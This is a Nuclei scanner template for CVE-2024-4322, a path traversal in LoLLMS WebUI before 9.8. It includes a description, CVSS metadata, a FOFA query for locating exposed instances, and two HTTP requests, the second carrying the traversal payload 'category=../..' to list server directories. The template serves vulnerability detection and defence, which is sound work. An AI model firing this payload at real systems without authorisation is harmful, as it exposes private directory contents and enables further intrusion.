LoLLMS WebUI < 9.8 - Path Traversal

id: CVE-2024-4322

info:
  name: LoLLMS WebUI < 9.8 - Path Traversal
  author: MJ-bin
  severity: high
  description: |
   parisneo/lollms-webui contains a path traversal caused by improper handling of 'category' parameter in /list_personalities endpoint, letting attackers list arbitrary directories, exploit requires control over 'category' parameter.
  impact: |
   Attackers can list all directories on the system, leading to potential information disclosure and further exploitation.
  remediation: |
   Implement proper input validation and sanitization for the 'category' parameter; update to the latest version with security patches.
  reference:
    - https://huntr.com/bounties/5116d858-ce00-418c-a5a5-851c5608c209
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4322
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-4322
    cwe-id: CWE-29
    epss-score: 0.30987
    epss-percentile: 0.98057
    cpe: cpe:2.3:a:lollms:lollms_web_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="LoLLMS WebUI - Welcome"
  tags: cve,cve2024,lollms-webui,lollms,traversal,ai

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LoLLMS WebUI - Welcome")'
        internal: true
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/list_personalities?category=../.."

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"lollms_core\"", "\"personal_data\"")'
        condition: and
# digest: 4b0a0048304602210095a8388f058a2cc2690551291b4b1b92fce57ba641562559e15c08f1ddbe942d022100aca28fcd61ea4369ec23c91cb33140eb26b035f390eb4a71852320ce0d575093:922c64590222798bb761d5b6d8e72950